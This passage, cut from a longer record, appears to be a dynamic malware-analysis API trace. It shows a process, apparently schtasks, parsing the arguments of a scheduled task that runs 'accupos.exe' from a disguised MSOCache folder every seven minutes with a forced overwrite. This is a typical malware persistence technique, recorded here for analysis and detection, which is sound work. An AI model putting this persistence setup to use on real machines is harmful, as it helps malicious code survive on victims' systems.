returned 2 [0122.370] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0122.370] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.370] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.370] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.370] lstrlenW (lpString="MINUTE") returned 6 [0122.370] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0122.370] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.370] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.370] lstrlenW (lpString="MINUTE") returned 6 [0122.370] GetProcessHeap () returned 0x1c180330000 [0122.370] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0xe) returned 0x1c18033ab60 [0122.370] GetProcessHeap () returned 0x1c180330000 [0122.370] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c18033b7d0 [0122.370] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.370] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.370] lstrlenW (lpString="/mo") returned 3 [0122.370] lstrlenW (lpString="-/") returned 2 [0122.370] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0122.370] lstrlenW (lpString="?") returned 1 [0122.370] lstrlenW (lpString="?") returned 1 [0122.370] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.370] lstrlenW (lpString="mo") returned 2 [0122.370] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.371] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|?|") returned 3 [0122.371] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|mo|") returned 4 [0122.371] lstrlenW (lpString="|?|") returned 3 [0122.371] lstrlenW (lpString="|mo|") returned 4 [0122.371] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.371] lstrlenW (lpString="create") returned 6 [0122.371] lstrlenW (lpString="create") returned 6 [0122.371] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.371] lstrlenW (lpString="mo") returned 2 [0122.371] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.371] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|create|") returned 8 [0122.371] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|mo|") returned 4 [0122.371] lstrlenW (lpString="|create|") returned 8 [0122.371] lstrlenW (lpString="|mo|") returned 4 [0122.371] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0122.371] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.375] lstrlenW (lpString="delete") returned 6 [0122.375] lstrlenW (lpString="delete") returned 6 [0122.375] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.375] lstrlenW (lpString="mo") returned 2 [0122.375] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.375] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|delete|") returned 8 [0122.375] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|mo|") returned 4 [0122.375] lstrlenW (lpString="|delete|") returned 8 [0122.375] lstrlenW (lpString="|mo|") returned 4 [0122.375] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0122.375] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.375] lstrlenW (lpString="query") returned 5 [0122.376] lstrlenW (lpString="query") returned 5 [0122.376] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.376] lstrlenW (lpString="mo") returned 2 [0122.376] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.376] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|query|") returned 7 [0122.376] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|mo|") returned 4 [0122.376] lstrlenW (lpString="|query|") returned 7 [0122.376] lstrlenW (lpString="|mo|") returned 4 [0122.376] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0122.376] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.376] lstrlenW (lpString="change") returned 6 [0122.376] lstrlenW (lpString="change") returned 6 [0122.376] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.376] lstrlenW (lpString="mo") returned 2 [0122.376] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.376] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|change|") returned 8 [0122.376] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|mo|") returned 4 [0122.376] lstrlenW (lpString="|change|") returned 8 [0122.376] lstrlenW (lpString="|mo|") returned 4 [0122.376] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0122.376] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.376] lstrlenW (lpString="run") returned 3 [0122.376] lstrlenW (lpString="run") returned 3 [0122.376] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.376] lstrlenW (lpString="mo") returned 2 [0122.377] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.377] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|run|") returned 5 [0122.377] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|mo|") returned 4 [0122.377] lstrlenW (lpString="|run|") returned 5 [0122.377] lstrlenW (lpString="|mo|") returned 4 [0122.377] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0122.377] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.377] lstrlenW (lpString="end") returned 3 [0122.377] lstrlenW (lpString="end") returned 3 [0122.377] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.377] lstrlenW (lpString="mo") returned 2 [0122.377] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.377] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|end|") returned 5 [0122.377] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|mo|") returned 4 [0122.377] lstrlenW (lpString="|end|") returned 5 [0122.377] lstrlenW (lpString="|mo|") returned 4 [0122.377] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0122.377] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.377] lstrlenW (lpString="showsid") returned 7 [0122.377] lstrlenW (lpString="showsid") returned 7 [0122.377] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.377] lstrlenW (lpString="mo") returned 2 [0122.377] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.377] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|showsid|") returned 9 [0122.378] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|mo|") returned 4 [0122.378] lstrlenW (lpString="|showsid|") returned 9 [0122.378] lstrlenW (lpString="|mo|") returned 4 [0122.378] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0122.378] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.378] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.378] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.378] lstrlenW (lpString="/mo") returned 3 [0122.378] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0122.378] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.378] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.378] lstrlenW (lpString="/mo") returned 3 [0122.378] GetProcessHeap () returned 0x1c180330000 [0122.378] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x8) returned 0x1c180333990 [0122.378] GetProcessHeap () returned 0x1c180330000 [0122.378] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c18033b740 [0122.378] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.378] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.378] lstrlenW (lpString="7") returned 1 [0122.378] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.378] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.378] lstrlenW (lpString="7") returned 1 [0122.378] StrChrIW (lpStart="7", wMatch=0x3a) returned 0x0 [0122.378] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.378] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.378] lstrlenW (lpString="7") returned 1 [0122.378] GetProcessHeap () returned 0x1c180330000 [0122.378] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x4) returned 0x1c180333b90 [0122.378] GetProcessHeap () returned 0x1c180330000 [0122.379] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c18033b800 [0122.379] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.379] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.379] lstrlenW (lpString="/tr") returned 3 [0122.379] lstrlenW (lpString="-/") returned 2 [0122.379] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0122.379] lstrlenW (lpString="?") returned 1 [0122.379] lstrlenW (lpString="?") returned 1 [0122.379] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.379] lstrlenW (lpString="tr") returned 2 [0122.379] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.379] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|?|") returned 3 [0122.379] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|tr|") returned 4 [0122.379] lstrlenW (lpString="|?|") returned 3 [0122.379] lstrlenW (lpString="|tr|") returned 4 [0122.379] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.379] lstrlenW (lpString="create") returned 6 [0122.379] lstrlenW (lpString="create") returned 6 [0122.379] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.379] lstrlenW (lpString="tr") returned 2 [0122.379] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.379] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|create|") returned 8 [0122.379] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|tr|") returned 4 [0122.380] lstrlenW (lpString="|create|") returned 8 [0122.380] lstrlenW (lpString="|tr|") returned 4 [0122.380] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0122.380] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.380] lstrlenW (lpString="delete") returned 6 [0122.380] lstrlenW (lpString="delete") returned 6 [0122.380] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.380] lstrlenW (lpString="tr") returned 2 [0122.380] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.380] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|delete|") returned 8 [0122.380] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|tr|") returned 4 [0122.380] lstrlenW (lpString="|delete|") returned 8 [0122.380] lstrlenW (lpString="|tr|") returned 4 [0122.380] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0122.380] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.380] lstrlenW (lpString="query") returned 5 [0122.380] lstrlenW (lpString="query") returned 5 [0122.380] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.380] lstrlenW (lpString="tr") returned 2 [0122.380] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.380] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|query|") returned 7 [0122.380] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|tr|") returned 4 [0122.380] lstrlenW (lpString="|query|") returned 7 [0122.380] lstrlenW (lpString="|tr|") returned 4 [0122.381] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0122.381] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.381] lstrlenW (lpString="change") returned 6 [0122.381] lstrlenW (lpString="change") returned 6 [0122.381] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.381] lstrlenW (lpString="tr") returned 2 [0122.381] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.381] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|change|") returned 8 [0122.381] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|tr|") returned 4 [0122.381] lstrlenW (lpString="|change|") returned 8 [0122.381] lstrlenW (lpString="|tr|") returned 4 [0122.381] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0122.381] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.381] lstrlenW (lpString="run") returned 3 [0122.381] lstrlenW (lpString="run") returned 3 [0122.381] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.381] lstrlenW (lpString="tr") returned 2 [0122.381] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.381] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|run|") returned 5 [0122.381] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|tr|") returned 4 [0122.381] lstrlenW (lpString="|run|") returned 5 [0122.381] lstrlenW (lpString="|tr|") returned 4 [0122.381] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0122.381] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.381] lstrlenW (lpString="end") returned 3 [0122.382] lstrlenW (lpString="end") returned 3 [0122.382] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.382] lstrlenW (lpString="tr") returned 2 [0122.382] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.382] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|end|") returned 5 [0122.382] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|tr|") returned 4 [0122.382] lstrlenW (lpString="|end|") returned 5 [0122.382] lstrlenW (lpString="|tr|") returned 4 [0122.382] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0122.382] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.382] lstrlenW (lpString="showsid") returned 7 [0122.382] lstrlenW (lpString="showsid") returned 7 [0122.382] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.382] lstrlenW (lpString="tr") returned 2 [0122.382] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.382] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|showsid|") returned 9 [0122.382] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|tr|") returned 4 [0122.382] lstrlenW (lpString="|showsid|") returned 9 [0122.382] lstrlenW (lpString="|tr|") returned 4 [0122.382] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0122.382] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.382] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.382] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.382] lstrlenW (lpString="/tr") returned 3 [0122.382] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0122.382] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.383] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.383] lstrlenW (lpString="/tr") returned 3 [0122.383] GetProcessHeap () returned 0x1c180330000 [0122.383] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x8) returned 0x1c180333bb0 [0122.383] GetProcessHeap () returned 0x1c180330000 [0122.383] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c18033b860 [0122.383] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.383] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.383] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0122.383] lstrlenW (lpString="-/") returned 2 [0122.383] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0122.383] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.383] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.383] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.383] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0122.383] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'" [0122.383] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0122.383] GetProcessHeap () returned 0x1c180330000 [0122.383] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x18) returned 0x1c18033abe0 [0122.383] _memicmp (_Buf1=0x1c18033abe0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.383] GetProcessHeap () returned 0x1c180330000 [0122.383] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0xe) returned 0x1c18033a980 [0122.383] GetProcessHeap () returned 0x1c180330000 [0122.383] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x18) returned 0x1c18033ab80 [0122.383] _memicmp (_Buf1=0x1c18033ab80, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.383] GetProcessHeap () returned 0x1c180330000 [0122.383] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x9c) returned 0x1c180333bd0 [0122.384] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.384] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.384] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.384] lstrlenW (lpString="'C") returned 2 [0122.384] lstrlenW (lpString="-/") returned 2 [0122.384] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0122.384] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.384] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.384] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.384] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0122.384] GetProcessHeap () returned 0x1c180330000 [0122.384] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x9a) returned 0x1c18033bcf0 [0122.384] GetProcessHeap () returned 0x1c180330000 [0122.384] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c18033b4d0 [0122.384] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.384] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.384] lstrlenW (lpString="/f") returned 2 [0122.384] lstrlenW (lpString="-/") returned 2 [0122.384] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0122.384] lstrlenW (lpString="?") returned 1 [0122.384] lstrlenW (lpString="?") returned 1 [0122.384] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.384] lstrlenW (lpString="f") returned 1 [0122.384] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.384] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|?|") returned 3 [0122.384] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|f|") returned 3 [0122.385] lstrlenW (lpString="|?|") returned 3 [0122.385] lstrlenW (lpString="|f|") returned 3 [0122.385] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0122.385] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.385] lstrlenW (lpString="create") returned 6 [0122.385] lstrlenW (lpString="create") returned 6 [0122.385] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.385] lstrlenW (lpString="f") returned 1 [0122.385] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.385] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|create|") returned 8 [0122.385] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|f|") returned 3 [0122.385] lstrlenW (lpString="|create|") returned 8 [0122.385] lstrlenW (lpString="|f|") returned 3 [0122.385] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0122.385] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.385] lstrlenW (lpString="delete") returned 6 [0122.385] lstrlenW (lpString="delete") returned 6 [0122.385] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.385] lstrlenW (lpString="f") returned 1 [0122.385] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.385] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|delete|") returned 8 [0122.385] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|f|") returned 3 [0122.385] lstrlenW (lpString="|delete|") returned 8 [0122.385] lstrlenW (lpString="|f|") returned 3 [0122.386] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0122.386] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.386] lstrlenW (lpString="query") returned 5 [0122.386] lstrlenW (lpString="query") returned 5 [0122.386] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.386] lstrlenW (lpString="f") returned 1 [0122.386] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.386] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|query|") returned 7 [0122.386] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|f|") returned 3 [0122.386] lstrlenW (lpString="|query|") returned 7 [0122.386] lstrlenW (lpString="|f|") returned 3 [0122.386] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0122.386] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.386] lstrlenW (lpString="change") returned 6 [0122.386] lstrlenW (lpString="change") returned 6 [0122.386] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.386] lstrlenW (lpString="f") returned 1 [0122.386] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.386] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|change|") returned 8 [0122.386] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|f|") returned 3 [0122.386] lstrlenW (lpString="|change|") returned 8 [0122.386] lstrlenW (lpString="|f|") returned 3 [0122.386] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0122.386] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.386] lstrlenW (lpString="run") returned 3 [0122.386] lstrlenW (lpString="run") returned 3 [0122.387] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.387] lstrlenW (lpString="f") returned 1 [0122.387] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.387] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|run|") returned 5 [0122.387] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|f|") returned 3 [0122.387] lstrlenW (lpString="|run|") returned 5 [0122.387] lstrlenW (lpString="|f|") returned 3 [0122.387] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0122.387] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.387] lstrlenW (lpString="end") returned 3 [0122.387] lstrlenW (lpString="end") returned 3 [0122.387] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.387] lstrlenW (lpString="f") returned 1 [0122.387] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.387] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|end|") returned 5 [0122.387] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|f|") returned 3 [0122.388] lstrlenW (lpString="|end|") returned 5 [0122.388] lstrlenW (lpString="|f|") returned 3 [0122.388] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0122.388] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.388] lstrlenW (lpString="showsid") returned 7 [0122.388] lstrlenW (lpString="showsid") returned 7 [0122.388] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.388] lstrlenW (lpString="f") returned 1 [0122.388] _memicmp (_Buf1=0x1c180333930, 